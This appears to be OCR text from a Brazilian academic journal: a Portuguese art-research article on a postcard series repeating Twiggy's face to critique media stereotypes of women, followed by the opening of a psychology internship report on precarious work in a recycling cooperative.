relacéo as diferencas de géneros e aos direitos da mulher sobre si mesma. O questionamento,

todavia, nao se esvaeceu com o passar das déecadas e perdura até hoje. As abordagens femi-
nistas dentro — e fora — da arte continuam sendo necessarias para fomentar o questionamento
sobre a visdo do papel feminino dentro da sociedade.

A pesquisa em arte apresentada neste artigo disserta sobre estas questdes anterior-
mente comentadas, sendo seu tema central a mulher na sociedade contemporanea brasileira,
trazendo um questionamento sobre seu papel e os conceitos construidos sobre o género femi-

nino. Juntamente a pesquisa teodrica, foi realizada a construcao de um trabalho pratico artistico,

utilizando os conceitos estudados e técnicas variadas em arte e, no presente estudo, e feita
uma analise relativa ao processo de construgao do mesmo.

O objetivo da pesquisa nao envolve apenas investigar os motivos e 0 modo como a
imagem feminina foi sendo constituida dentro da sociedade, mas também expor e questionar
o modo como a mulher é vista e representada, tendo como base os meios midiaticos e os pa-

rametros sociais de aparéncia e comportamento.




COMO A SOCIEDADE
NXERGA SUAS
MULHERES: ESTUDO
E ANALISE DE
CARICATURAS

2.1 A CARICATURA DA MULHER NA SOCIEDADE CONTEMPORANEA

O processo de construgao social da imagem do sexo feminino e os esteredtipos que o
cercam — sexo fragil, histérico, irritadico, altamente sexual — ndo foram criados recentemente.
Foi um processo moral, imaginario e estético desenvolvido ao longo da construgao da propria
sociedade humana e, até pouco tempo, poucos eram aqueles que questionavam esse modo
de pensar sobre a mulher.

O movimento feminista, todavia, na década de 1960, efetivou modificacoes e trouxe
novas perspectivas para as mulheres. Nessa época, se deu voz a necessidade de discussoes
importantes sobre questdes de género e sexismo, ambas intrinsecas a todos os campos de
conhecimento da sociedade. No campo da arte, foi nos Estados Unidos, no inicio da decada de
1970 do século XX, que surgiu o primeiro programa académico de arte feminista, o Feminist Art
Program, de Judy Chicago e Miriam Schapiro, na Califérnia. Segundo Trizoli (2008), tal progra-
ma de estudos permitiu a insercao e o desenvolvimento do pensamento feminista dentro da aca-
demia americana e oficializou 0 pensamento de teoricas feministas com a producao artistica.

Heloneida Studart (1932-2007), escritora e jornalista, publicou em 1974, o pequeno li-

vro-panfleto Mulher objeto de cama e mesa, em que, com um estilo acido, alertava sobre a alie-

nacao e atrofiamento da inteligéncia feminina em prol da manutengéo da familia patriarcal, co
passagens que relatam qual era o papel da mulher até meados da década de 1970, no Br.
(brevemente dando, também, exemplos de mulheres europeias e estadunidenses). Em yima

das passagens do livro, a autora comenta como o papel da mulher € definido na sociedade.




Para fazer amortecedor nesta terra vocé tem que rebolar
Figura 1 - Reprodugéo parcial de um anuncio de venda de amortecedor de carro
Fonte: Studart, 1974, p. 29.

As mulheres ouvem, desde a mais tenra
infancia, que de sua aparéncia depende
tudo. As tarefas civilizadoras séo tipica-
mente masculinas. Ensinam-lhes que
ela deve ter carne: ancas, pernas, seios.
Convenceram-na de que, se for mais bo-
nita, ndo sera mais ninguém. [...] Por que
a dignidade que envolve a maturidade e
envelhecimento do homem nao funciona
da mesma maneira para a multher? O ho-
mem pode perder 0s dentes, cobrir-se de
rugas, tornar-se careca. Todos que o res-
peitam nem sequer notardo essa deca-
déncia fisica. O homem é o que produziu.
E o sujeito da historia. Foi ele que criou os
valores desta civilizacao masculina. Ele,
portanto, determina os parametros da uti-
lizagdo da mulher. Esta, reduzida ao seu
corpo, sofre um processo rapido de des-
valorizagao. (STUDART, 1974, p. 32-34).

No livro, também, a autora reproduz parcialmente um
anuncio (Fig. 1) publicado na imprensa brasileira da época,
que mostra uma mulher seminua (apenas o corpo, todavia,
pois o rosto foi cortado) com uma pose sugestiva em fren
a uma camera. O anuncio diz “Para fazer amortecedor n
terra vocé tem que rebolar”.

Embora o livro seja de 1974, o assunto por ele jabor-

dado continua atual. O processo de mudancga do pensamento




social sobre a desconstru¢éao do conceito de mulher-objeto, tendo em vista que até hoje a
mulher tem o seu corpo erotizado, fetichizado e objetificado continua a passos lentos, ja que a
midia, nesse caso, utiliza-se do corpo da mulher como forma de atrair o olhar do consumidor,
independentemente de o produto ter relacdo com a mulher e seu corpo, ou nao.

Lipovetsky (2000) ressalta que a sedugéao se transformou em um processo geral que
tende a normatizar, dentre outros aspectos, o consumo. Por isso, o corpo feminino foi trans-
formado em um tipo de arma e é mostrado, sempre que possivel, com um minimo de roupa,
acentuado os ideais de beleza de cada época. Beleza, sensualidade e erotismo parecem ser
uma trindade, uma arma privilegiada para prender a atengao do publico.

A publicidade, todavia, € dicotdmica, no sentido de que a imagem da mulher reproduzi-

da é, ora, de uma consumidora do produto, ora, de mero objeto para consumo.

Humberto Ivan Keske (2002) destaca que o corpo feminino € tratado, na publicidade,
como um produto de consumo. Nao € um corpo real, € um corpo perfeito, um corpo fabricado,
um corpo em busca do imaginario social. Devido a esse tipo de pensamento midiatico € que

a imagem da mulher, constantemente, € vista de modo deturpado e raso, limitando-a, ora, a

femme fatale altamente sensual, ora, a dona de casa ingénua e disciplinada.

Reis (2002) destaca esse fato quando diz que os cuidados femininos, por muito tem-
po, foram dominados pela obsessao com o rosto e, hoje, o corpo € o novo objetivo estético.
E Keske (2002) completa dizendo que as normas estéticas fizeram da mulher uma “escrava”
da beleza. Nao apenas isso, mas fizeram da mulher uma eterna perseguidora da perfgicao

inalcancavel.



Figura 2 - Twiggy, 1966, fotografada por Barry Lategan.

Fonte: Muir; Pepper; Sokolsly, 2009, p 37.

Esse conjunto de situacdes e conceitos que envolvem
a mulher na sociedade, ¢ uma objetificacao e a representa de
modo limitado, desvalorizando-a como individuo e ser humano
com pensamento livre; € um fator que impulsionou a fundamen-

tagao do trabalho pratico em arte denominado Caricaturas.

2.2 CARICATURAS: A REPETICAO DE UMA
FIGURA FEMININA

Para a realizacao desta pesquisa no campo da arte,
efetuou-se 35 imagens com a repeticdo de um unico rosto fe-

minino, que foi impresso em postais (10x15cm) com a técnica

de serigrafia. O rosto pertence a modelo Lesley Hornby, co-
nhecida como Twiggy (Fig. 2), que ficou famosa nos anos 60

no mundo das passarelas.

A escolha dessa imagem para o trabalho pratico em
arte tem uma razédo. Twiggy, que em inglés significa ‘galho
seco’, ao ser langada como modelo — e alcancar sucesso — so-
zinha conseguiu romper um paradigma de beleza feminina que
se sustentava ja fazia mais de uma década, com as mulhégres

ideais pin-ups. Essas mulheres de formas voluptuosas, ciptura



fina, seios projetados e rosto angelical, eram vistas como simbolo de beleza entre os anos 40

e 50, mas tudo isso foi deixado de lado quando,

A partir dos anos de 1960 a moda e suas passarelas comecaram a dirigir o processo
de formatacéo e legitimacao de padrdes estéticos. A figura de Twiggy inaugurou uma
nova representacao do feminino a partir da estética da magreza, uma beleza que para
uns € androgina e para outros infantil, baseada no corpo magro, retilineo, seios peque-
nos e quadris estreitos. Esse padréo foi sendo difundido pela midia, pela moda, pelas
industrias farmacéuticas e cosméticas, generalizando-se no imaginario social como a
beleza ideal. (MOTA, 2008, p. 7).

Ou seja, a beleza da mulher, que era vendida pelos meios midiaticos e de producao,
mudou radicalmente em questao de anos, obrigando as mulheres a repensar seus proprios

corpos e aparéncias para ficar de acordo com o novo padréao imposto.

[...] Foi nessa época que se deixou para tras o padrao de estética que associava rique-
za com gordura. A estigmatizacao de gordos e gordas é produto do fosso cada vez
mais profundo entre identidade social e identidade virtual [...] a pressdo de tornar-se
fisicamente perfeita caminha lado a lado com o ideal de conseguir chegar ao corpo
ideal, em forma, saudavel. Mesmo que a custa de atropelar calorias para uma vida
equilibrada. (DEL PRIORE, 2000, p. 89-90).

Esse padrao estético — embora levemente alterado — perdura até os dias atuais, na
contemporaneidade. Twiggy acabou sendo um marco na historia do que € considerado como
“belo” para a mulher e sua magreza exacerbada acabou, mesmo que sem intengao provayvel,
sendo influéncia e modelo de beleza ideal para toda uma sociedade ocidental.

A proposta deste trabalho pratico tem como referéncia reflexdes sobre as questoes do

feminino e da sociedade. Embora, como em todo o trabalho de arte, a deliberacao sobre as



significagdes da obra seja pessoal e possa ser atribuida pelo préprio observador, a intencao
da artista criadora € bastante objetiva: nao apenas expor o modo como a mulher € vista dentro
da sociedade que ocupa — e qual € a caricatura que, dela, pinta a midia — mas também criar
um vinculo de discussao sobre qual é seu papel dentro dessa mesma sociedade.

A partir da definicao da imagem para a producao desta pesquisa em arte — no caso, a
modelo Twiggy — foi dado inicio a escolha de interferéncias que seriam feitas em cada um dos
postais, individualmente. Partindo do pressuposto de que cada interferéncia seria uma “masca-
ra” sobre a figura central do trabalho, conceitos pertinentes a figura feminina e aos estereotipos
que mascaram sua personalidade como individuo foram pensados, pesquisados e escolhidos.

Os conceitos escolhidos, que constroem os estereotipos referentes ao sexo feminino
abordados nesta pesquisa, ttm como origem as mais diversas esferas como, por exemplo,
0s meios midiaticos virtuais e fisicos — como blogs, revistas, redes sociais, jornais, livros, arti-
gos — producodes audiovisuais — filmes, novelas, seriados — e, também, vivéncias e relatos de

mulheres.

2.3 PROCESSOS E PROCEDIMENTOS NA PRODUCAQ DO
TRABALHO CARICATURAS

A producao deste trabalho em arte foi desencadeada durante a disciplina de Gravufa

Avangada, ministrada pela professora Lurdi Blauth na Universidade Feevale em 2015, e, conyela
foi, feita a pesquisa tedrica e conceitual para embasa-lo. A gravura € parte fundamental ng pro-

cesso de criagcao e nao foi apenas o ponto de partida do trabalho pratico, mas, também, funda-




a 3 - Anna Rosa, Caricaturas, 2015. Técnica Mista - Serigrafia s/ papel cartao,
e colagem, costura, impressdo em xilogravura e tinta acrilica; 105cmx50cm.
Fonte: Arquivo da autora.

mental para a construgdo poética, devido a suas especificida-
des e as possibilidades de repeticdo de uma mesma imagem.

Neste aspecto, “a gravura nao é apenas o resultado de
uma série de técnicas convencionais para gravar imagens so-
bre uma determinada matriz e suportes, mas um meio expres-
sivo que propicia a criagao e a ressignificagao de diferentes
materiais e materialidades”. (BLAUTH, 2014, p. 153)

A gravura nao pode ser vista apenas como uma técni-
ca artistica para alcancar um resultado, mas sim um meio de
exploragdo de conceitos e possibilidades especificas para a
construgao de um trabalho artistico. As inquietacoes internas
do proprio artista sao refletidas no seu processo de criagao, ou
seja, o trabalho nao € apenas o resultado de um fazer técnico,
também & um processo de pensamento que envolve ressigni-
ficagdes poéticas.

Caricaturas (Fig. 3) é formado pela repeticdo de um
rosto feminino impresso em postais, todavia, nao € o processo
de repeticao que cria o trabalho em si. Individualidade é dada
a cada um dos postais na medida em que ha uma interferéncia
diferente em cada um deles, por meio das mais variadag/ tec-
nicas: pintura, recorte e colagem, costura, xilogravura, egcrita,

sobreposi¢cao de imagens, etc.




Para o desenvolvimento deste trabalho artistico, foram
utilizadas algumas das diversas potencialidades da gravura re-
lacionadas a possibilidades de impressao, repeticao e unicida-
de. A partir da repeticao de um rosto serigrafado sobre o supor-
te e a realizagao de interferéncias em cada uma das imagens,
foram enfatizadas semelhangas e diferencas entre as gravuras
individuais que, no conjunto, constituem um unico trabalho.

Esses conceitos serviram como base para as interven-
coes que foram realizadas com técnicas variadas sobre os
postais previamente feitos: ja com a imagem da modelo Twi-
ggy impressa sobre eles em serigrafia. Utilizando-me da cos-
tura, da colagem, da tinta acrilica, da palavra, do grafismo, da
impressao em xilogravura e calcografia, foi dada individuali-
dade a cada postal, tornando um diferente do outro, com um

significado proprio.

As concepcgoes, lugares-comuns, padroes e estereoti-
Figura 4 - Anna Rosa, Caricaturas, 2015. (detalhe). Técnica Mista - Serigrafia s/ papel

30, recorte e colagem, costura, impressao em xilogravura e tinta acrilica; 105cmx50cm. pos referentes ao sexo feminino que foram utilizados no traba-
Fonte: Arquivo da autora.
lho pratico (Fig. 4) foram os seguintes: mulher-mae; beleza/e

busca pela perfeicao estética por meio de dietas milagrosas
e imposicoes de padrdes socialmente construidos; matfimo-

nio e a divisao entre as mulheres que seriam proprias para o
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Figura 5 - Barbara Kruger, Untitled (Your Body Is a Battleground)”, 1989.
Fotografia e serigrafia sobre vinil; 248,5cmx248,5cm.
Fonte: The Art Story Foundation.

casamento ou nao; a dicotomia e divisao entre santas e pro-
miscuas; a mulher como propriedade/objeto; a culpabilizacéo
da vitima, a violéncia de género e o feminicidio; a feminilidade
atrelada a submisséao; o feminismo e a reproducao do machis-
mo por mulheres.

Muitas artistas mulheres trabalharam com os conceitos
aqui descritos, estimulando uma discussao sobre géneros e
fomentando uma mudanca de pensamento e acéao, principal-
mente nos anos 70 do século XX. Essas artistas foram funda-
mentais no processo da desconstrucao dos conceitos pejora-
tivos que limitavam as mulheres e que fortaleceram a luta pela
equidade dos sexos ao longo dos anos.

Judy Chicago (1939) tem um trabalho critico que busca
o reconhecimento das realizagdes de grandes figuras histori-
cas do sexo feminino, além de celebrar experiéncias Unicas
das mulheres. A artista, com seu trabalho em arte, procurou

acrescentar mulheres no registro historico e também melhorar

sua representacao nas artes visuais. Sua obra mais famosa é/a
instalagao The Dinner Party, de 1979, que celebra as con
tas das mulheres ao longo da historia.

Barbara Kruger (1945) ¢ uma das artistas estaduni-

denses que teve grande importancia no movimento feminista




Figura 6 - Rosana Paulino, Sem titulo, da série Batidores 1997. Ima-

gem transferida sobre tecido, bastidor e linha de costura, 30cmx30cm.

Fonte: Site oficial da artista Rosana Paulino.

de arte dos Estados Unidos. Seu trabalho (Fig. 05) combinava imagens e
textos, retirando-os dos veiculos midiaticos de imprensa e reproduzindo-
-0s nas cores preto, branco e vermelho, para dar-lhes ressignificacoes e
abri-los a novas interpretacoes. Para Nayara Matos Barreto (2013), desse
modo, Kruger sabotava os objetivos primarios das representacoes visuais
alusivas as convencoes femininas, destruindo seu sentido original e reti-
rando o brilho sedutor das imagens midiaticas publicitarias, das revistas
de moda e do cinema. Barbara Kruger desafiava os conceitos e modelos
veiculados pela midia como sendo o “ideal” na sociedade, subvertendo,
principalmente, aqueles referentes ao sexo feminino.

Foram muitas as artistas que contribuiram para as discussoes
acerca da mulher na sociedade, do feminismo e das questdes diretamente
ligadas aos géneros. Destacam-se, ainda, Marina Abramovic (1946), Frida
Kahlo (1907-1954), Yoko Ono (1933) e Orlan (1947), entre tantas outras.

No Brasil, para este artigo, as referéncias artisticas sao Rosana Pau-
lino (1967) e Anna Maria Maiolino (1942). Embora as artistas tenham traba-

lhos distintos, tanto em questao de tematica especifica quanto de técnica, o

interesse em falar de questoes relativas a mulher € visivel em ambas.

Rosana Paulino tem um trabalho que fala sobre identidade, mepmo-
ria, corpo, preconceito, racismo, assedio, modelos e estereotipos € seu
trabalho mais conhecido é a série Bastidores (Fig. 6), de 1997, umg/ série

de retratos de mulheres da propria familia da artista que tém a boga, os
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Figura 7 — Anna Maria Maiolino. Por um Fio, sérieFotopoemagao, 1976. Fotografia
analdgica em preto e branco. 52cmx79 cm.
Fonte: Galeria Luisa Trina.

olhos e a garganta costurados com uma linha, trazendo uma
critica ao siléncio de geracoes de mulheres, duplamente sub-
jugadas pelo género e pela etnia.

Ja os trabalhos de Anna Maria Maiolino apresentam os
conceitos de desequilibrio e mutacao. Conflitos internos, assim
como temas ligados aos diretos da mulher, sao frequentes em
suas obras. Beleza e envelhecimento, por exemplo, sao dois
conceitos chave em seu trabalho Por um Fio (Fig. 7), de 1976.

A critica de arte feminista, Heloisa Buarque, ao orga-
nizar a exposicao Manobras Radicais — exposigao de 2006,
contando com obras de 26 artistas mulheres brasileiras, que
evidenciou a diversidade de linguagens artisticas nas obras e
a forte presenca do feminismo e da feminilidade na arte con-
temporanea brasileira —, afirmou que o grande legado do fe-
minismo para as novas geracoes foi o privilégio, milenarmente
negado as mulheres, de explicitar sua raiva. Porém, mais do

que isso, a arte mesclada ao feminismo pode ter tons que mi-

gram da denuncia a satira, problematizam questdes antigas/e
atuais e exigem pensamento critico e reflexao, tanto por parte

das artistas quanto do observador.




3 CONCLUSAO

E fato que a relacdo entre a arte e o feminismo, iniciada na década de 60 do século XX,
ofereceu aos artistas, criticos, tedricos e ao publico em geral

[...]a possibilidade de questionamento das normas sociais e morais vigentes sob o pris-

ma do estético e do inusitado, para o periodo. [...] abriu espaco no seio artistico para

as técnicas, as expectativas e os habitos do universo privado, da casa onde a mulher
abita, para o interno. (TRIZOLI, 2008, p. 1503).

Desse modo, considero que Caricaturas pode ter continuidade em outras proposicoes
que discutam os esteredtipos e conceitos que foram abordados e analisados na construcéao
deste trabalho, pois, como visto no presente estudo, as questoes referentes ao feminismo con-
tinuam atuais e a discussao destas questdes continua tao necessaria dentro da arte quanto

fora dela.

Ha décadas tem se discutido, em diversas areas do conhecimento, incluindo as artes
visuais, sobre o papel da mulher na sociedade contemporanea. Com a criagcao de movimentos
por parte das mulheres, essas passaram de modelos para pintar, musas, a artistas criadoras,
pensadoras €, 0 mais importante, indagadoras.

O auge do feminismo no século XX, com a chamada Segunda Onda do moviment
ocorrido em meados da década de 60, foi importante para que isso acontecesse. Mas as
cussoOes sobre 0s assuntos que concernem a mulher, principalmente referentes ao feminisfno e

ao machismo, continuam sendo topicos de importante discussao, mesmo no seculo XXI.




Apresenta-se, entao, o resultado parcial de minhas indagacdes sobre a mulher e sua
relagao para com a sociedade. Os temas aqui trabalhados permanecem com questdes abertas
e a busca por informagdes € um processo que deve ser ininterrupto, pois 0os conceitos aqui
trabalhados fazem parte da vivéncia cotidiana do ser humano e requerem pesquisa, questio-
namentos e analises.

O sexo feminino, os estereodtipos, a sociedade e os padroes estéticos e de comporta-
mento se unem a arte e ao processo de criagao artistica aqui analisados, nao apenas como um
modo de incitar a propria artista a uma reflexédo enquanto produtora de arte e ser humano, mas
também como modo de fazer o outro, aquele que observa o trabalho de arte pronto, refletir e

pensar sobre as questdes aqui abordadas.
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Este artigo possui o objetivo de apresentar um relato de experiéncia de estagio profissionalizante na
Psicologia Institucional em uma cooperativa de reciclagem de residuos do Rio Grande Sul, Brasil, proble-
matizando o papel da Psicologia frente a precarizacdo do trabalho. Através de uma aproximacdo com a
realidade vivenciada pelos cooperados, utilizou-se como metodologia a anélise institucional, bem como o
acompanhamento do cotidiano laboral, abrangendo entrevistas individuais, entrevistas grupais, observa-
¢es participantes e andlise documental. Os resultados apontaram para indmeros elementos relacionados
a precarizacao do trabalho, culminando no desgaste e sobrecarga fisica dos trabalhadores, na auséncia
do coletivo de trabalho e em praticas de atuacdo que nao atendem aos requisitos minimos legais de
uma cooperativa. Concluiu-se que a Psicologia, no contexto da precarizacao do trabalho, possui um papel
fundamental, especialmente na problematizacao da realidade social, ampliando a compreensdo do sujeito
acerca do contexto em que estd inserido e, sobretudo, potencializando a capacidade destes, para que
possam efetivamente atuar como agentes de transformacdo.

Palavras-chaves: Condicdes de Trabalho. Cooperativismo. Psicologia Institucional. Precarizacao. Saude do
Trabalhador

ABSTRACT

This article has the objective to present an experience an report concerning the work experience internship
in Institutional Psychology in a waste recycling cooperative of Rio Grande do Sul, Brazil, questioning the
role of psychology concerning the labor precariousness. Through an approach to the reality experienced
by the members of the cooperative, an institutional analysis was used as a methodology, as well as daily
monitoring of labor daily, including individual interviews, group interviews, participant observation and
document analysis. The results showed several elements concerning precarious labor conditions, culmi-
nating in workers” physical stress and overload, in the lack of collective labor and in practices that do not
meet the minimum legal requirements for a cooperative. It is concluded that Psychology, in the context
of precarious labor conditions, has a key role in questioning social reality, expanding the understanding
of the subject within the context and, especially, increasing people’s ability so that they can effectively
act as agents of change.

Keywords: Working Conditions. Cooperativism. Institutional Psychology. Precarious Work. Worker's Health.




INTRODUCAO

A precarizagao social € um processo multidimensional de institucionalizacao da insta-
bilidade, caracterizada pelo crescimento de diferentes formas de precariedade e de exclusao.
Ela se apoia no imaginario do crescimento econdmico e na diminuicao dos custos de producao
a partir da flexibilizacao do trabalho, que se instaura pela via da precarizacédo do emprego
(desemprego; trabalho temporario) e da precarizacao do trabalho. Esse cenario culmina na
transformacao do direito do trabalho, na diminuicao da protecao social e na alteracao das
formas de representagéo e de cidadania para todos aqueles que o discurso politico chama
de “excluidos” (THEBAUD-MONY, 2000). E a partir desta perspectiva que se concebe a pre-
carizacao do trabalho, processo que coloca o trabalhador como “pequenas pétalas de rosa
sobre o mar em grandes marés” (LINHART, 2015, p. 22). Esta analogia, cunhada por Linhart
(2015), esta na base conceitual do atual cenario do trabalho, no qual o trabalhador, cada vez
mais individualizado, & confrontado sozinho por estratégias de gestao que capturam nao sé o
corpo, como também a subjetividade, a identidade e os coletivos de trabalho. Essa premissa
é corroborada por Seligmann-Silva (2011), que afirma que “a precarizacado, ao atingir todos os
ambitos da sociedade, isola os individuos e repercute de modo importante na vida afetiva e na
subjetividade de cada um” (p. 468).

Destarte, a precarizacao do trabalho, como resultado das novas exigéncias impostas
pela expansao do capitalismo (CASTEL, 1998) nao esta relacionada apenas a esfera econd
ca, mas a deterioragao de todo tecido social, levando a um processo perverso de desfiliagao,
despertencimento e vulnerabilidade (FRANCO; DRUCK; SELIGMANN-SILVA, 2010). Assj
precarizacao abarca outras esferas, instalando-se inclusive nas relagdes do mundo contempo-

raneo, que as torna cada vez mais frageis. No ambito do trabalho, a precarizacao pode ser re-




presentada por caracteristicas como a auséncia de vinculo trabalhista, o que esta diretamente
relacionado as perdas de direitos trabalhistas e de beneficios indiretos ja conquistados, como
por exemplo, descanso remunerado, férias anuais remuneradas, referenciais de jornada de
trabalho normal e de horas extras, planos de salude, transporte, alimentacéo, auxilio educagéao
e perdas salariais. Outro importante aspecto negligenciado no contexto do trabalho precario
sao as condigoes de trabalho e a organizacao, que se apresentam atraves de metas inalcan-
caveis, ritmo intenso de trabalho, pressao de tempo, intensificacao do controle e gestao pelo
medo. E neste cenario que se encontra outro elemento marcante, a precarizacéo da satide
dos trabalhadores, caracterizada pela fragilizagao fisica, mental e subjetiva dos trabalhadores.
Observa-se, ainda, a fragilizacdo do reconhecimento social, aspecto fundamental para a sad-
de mental e que deixa de compor o universo do trabalho, atuando diretamente na alienagao
dos trabalhadores. Por fim, como efeito destes fendbmenos, percebe-se a auséncia do coletivo
de trabalho, responsavel pela intensa fragilizacao dos profissionais que acabam respondendo
sozinhos pelo seu proprio sofrimento e adoecimento (FRANCO; DRUCK; SELIGMANN-SILVA,
2010, p. 231).

Sao inumeros os exemplos e contextos de trabalho no Brasil que se encontram preca-
rizados. Dentre eles podem ser citados o trabalho informal, voluntario, flexivel, terceirizado, o
empreendedorismo, o cooperativismo, entre outros (ANTUNES, 2011). Nesse cenario, o tra-
balho cooperado que deveria estar fundamentado na resisténcia a este fendbmeno, vem
do apresentado pela literatura como um instrumento de precarizagdo (OLIVEIRA, 2007;

2004; ANTUNES, 2011; GIONGO, 2014).




No Brasil, o debate sobre as cooperativas € polémico e esta pautado em dois mode-
los diferentes: por um lado, o “cooperativismo auténtico”, apoiado pela Economia Solidaria e

caracterizado pela utilizagao dos principios da autogestéo e emancipacao dos trabalhadores;

por outro, o “cooperativismo tradicional”, que segue uma orientacao de mercado, inserindo-se
em uma perspectiva empresarial, representado pela Organizagao das Cooperativas Brasileiras
(LIMA, 2004, p. 113). Apesar das diferencas, estes dois modelos estdo amparados pelos mes-
mos fundamentos legais, representados pelas leis N° 5.764/1971 e N° 12.690/2012, as quais
instituem requisitos como: gestao democratica; autonomia e independéncia dos cooperados;
educacao, formagao e informacéao; preservagao dos direitos sociais, do valor social do trabalho
e da livre iniciativa; e nao precarizagao do trabalho.

Diante da expansao do cooperativismo, muitas empresas industriais e agricolas, com o e
intuito de reduzirem os custos da aplicacao do trabalho humano, criaram cooperativas visando
a intermediacao de mao de obra (OLIVEIRA, 2007). Algumas cooperativas passaram a ser
geridas pelas empresas contratantes, tornando-se um instrumento de precarizagao através da

substituicdo da atividade assalariada regular, pelo trabalho auténomo (SINGER, 2002). Este

cenario justifica as inumeras criticas direcionadas ao cooperativismo, principalmente porque
em muitos casos as cooperativas fazem uso de uma legislacao e ideologia que facilita a ex-
ploracao e a submissao dos trabalhadores, ao invés de seu desenvolvimento e emancipacdo
(CARELLI, 2002; LIMA, 2004; SINGER, 2002; OLIVEIRA, 2007).

E desse modo que as cooperativas vém ocupando espaco significativo na econbmia
nacional. Surgem, principalmente a partir da década de 90, como um conjunto de pessoas que

se reinem com o intuito de obter rendas a partir da fabricagao, comercializacéo de produtos




ou de sua mao de obra. Essa expansao de cooperativas se da a partir das transformacgdes da
econdmica mundial, implicando na flexibilizacao dos vinculos de trabalho e no desemprego
(OLIVEIRA, 2007). Diante disso, percebe-se que os trabalhadores cooperados se associam as
cooperativas “nao por desejarem pertencer a um empreendimento cooperativo e autogerido,
nem por aspirarem estar a frente de um negoécio proprio, mas por nao terem outra opgao e la
permanecem até conseguirem ocupacao melhor” (OLIVEIRA, 2007, p. 81). Nesse sentido, a
criagado de falsas cooperativas, que visam dissipar as condicbes de remuneracéo dos traba-
Ihadores, eliminando seus direitos e aumentando o nivel de exploracao das forgas de trabalho,
indicam que ha uma nova era na precarizacao do trabalho (ANTUNES, 2014).

Esse complexo cenario, ainda pouco explorado pela agenda politica no Brasil, também
€ encontrado nas cooperativas de reciclagem de residuos, segmento em grande expansao
nacional. Reconhecidas pelas politicas publicas, sociais e econdmicas como uma importante
estratégia para mitigar o impacto ambiental dos residuos solidos urbanos, as cooperativas de
reciclagem de lixo possuem expressividade em diversas regides do pais (LEITE, 2009). Nes-
sas instituicoes, os catadores de material reciclavel sdo considerados elemento fundamental,
na medida em que concretizam a atividade da coleta. Dentre os principais beneficios deste

trabalho estao: a contribuicao a saude publica e ao sistema de saneamento; o fornecimento de

material reciclavel de baixo custo a industria; a reducao nos gastos municipais; e, a contribyi-
¢éo a sustentabilidade do meio ambiente (WIEGO, 2009). No entanto, o trabalho dos catadqgres
integra o cenario urbano desde o século XXI, demonstrando o acompanhamento da urbahiza-
¢ao no pais, ainda que essas pessoas tenham encontrado nessa atividade uma unica alferna-

tiva possivel sobreviver por meio do trabalho, que atenda as suas necessidades (IPEA, 2013).




Nesse sentido, o governo assume atualmente um posicionamento favoravel a organi-
zagao de cooperativas de reciclagem de lixo, apresentando-as como estratégia de combate a
informalidade. Ao passo que a situacao da informalidade se torna preocupante, uma vez que
os trabalhadores estao expostos as condigdes de riscos, uma vez que nao possuem qualquer
garantia de seguro social mediante algum acidente ou doenca que impega o desenvolvimento
do trabalho por um periodo, ao mesmo tempo em que estao expostos ao clima, como calor,
umidade, chuva e ruidos. Além disso, tais trabalhadores se arriscarem no transito e se expdem
a gases e fumacas decorrentes desse meio. Dito isso, entre outros fatores, a atividade laboral de-
senvolvida pelos catadores é considerara como insalubre em grau maximo, conforme estabele-
cido na Norma Regulamentadora n° 15, do Ministério do Trabalho e Emprego (MTE) (IPEA, 2013).

Mas, se por um lado as cooperativas tém se destacado socialmente e também na li-
teratura, pela inestimavel contribuicao ecologica e ambiental, por outro, pouco tém mostra-
do o real estado de saude dos catadores cooperadores, de sua efetiva identidade enquanto
agentes ambientais, de sua concreta participacao enquanto atores sociais. Estes profissionais
sao caracterizados atualmente por ocuparem uma posi¢cao social marginal na sociedade, com
raras oportunidades de trabalho, baixa escolaridade, residéncia em espagos urbanos pobres e
marginalizados, além de sofrerem exclusdo e preconceito (IPEA, 2013).

A partir dos trés objetos de estudo, a precarizacdo do trabalho, o trabalho cooperado/e
as cooperativas de reciclagem de lixo, questiona-se: qual seria o papel da Psicologia e ¢
fazer uso de seu instrumental teorico-pratica interligado com outras areas do conheci
para atribuir visibilidade a este cenario? Entende-se que diante deste cenario cabe a Psico-

logia, a partir de referenciais tedricos ja consolidados no Brasil, como o da Psicologia Social




2 CONTEXTUALIZACAO
DO CAMPO DE
ATUACAO

Historico-Critica, da Psicologia Social Comunitaria, da Saude do Trabalhador e da prépria Psi-
cologia Institucional, ampliar o debate acerca dos modos de precariza¢ao social e do trabalho,
construindo um saber articulado com outras areas do conhecimento, relatando suas praticas,
reflexdes e posicionamentos acerca desta realidade cada vez mais crescente no Brasil. E com
esse intuito, que este artigo possui 0 objetivo de apresentar um relato de experiéncia de estagio
profissionalizante na Psicologia Institucional em uma cooperativa de reciclagem de residuos

do Rio Grande Sul, problematizando o papel da Psicologia frente a precarizacao do trabalho.

A experiéncia de atuagao aqui apresentada ocorreu no Programa de Gerenciamento de
Residuos (Caminhos) de uma Prefeitura Municipal em um municipio da regido metropolitana de
Porto Alegre-RS, e contou com atuagao da equipe do programa vinculado a Prefeitura Munici-
pal, e dos trabalhadores da Cooperativa de Reciclagem de Residuos que prestavam servigcos
para o programa.

O programa Caminhos (nome ficticio) teve inicio em 2010 e, tem como objetivo oficial
potencializar o trabalho e renda dos trabalhadores, bem como o desenvolvimento da qualifi-

cacdo e de habilidades e competéncias. Também tem como foco propor uma gestéo integra-

da dos residuos solidos com a participagao de cooperativas de catadores. Ele se consti
através de uma articulacao entre a Secretaria de Desenvolvimento Social, a Secretaria de Meio
Ambiente e a Secretaria da Educacgao. Nesse sentido, a Prefeitura, por meio do Programd Ca-

minhos, contratou os servicos de uma cooperativa, a fim de executar as acdes do progrgma.




3 METODO DE
TRABALHO

Para vincular os trabalhadores como cooperados, a Prefeitura, através da Secretaria de
Desenvolvimento Social, atuou como mediadora dos catadores de rua que inicialmente desen-
volviam atividades de forma autdbnoma. Essa acao tinha como objetivo incentivar a cooperagao
para que tivessem uma formalizacao do trabalho, a partir do vinculo com a cooperativa e,
sobretudo, para que os catadores tivessem uma renda maior do que estavam conquistando na
informalidade. Desta forma, os vinculos foram estabelecidos entre os catadores, o programa
e a cooperativa. Atualmente, o Programa Caminhos atende mais de 100 catadores vinculados
a Cooperativa, que, por sua vez, estdo divididos em duas unidades no municipio. O estagio
foi realizado em uma das unidades, que abrange cerca de 20 cooperados e também na sede

administrativa do Programa Caminhos.

A experiéncia de trabalho relatada no presente artigo ocorreu ao longo de um ano de
estagio profissionalizante do curso de Psicologia da Universidade Feevale. Este estagio possi-
bilita aos alunos graduandos articular teoria e pratica no campo de atuacao da Psicologia, além
de estabelecer espacos de reflexdo sistematica no contexto de insercao. O estagio ocorreu
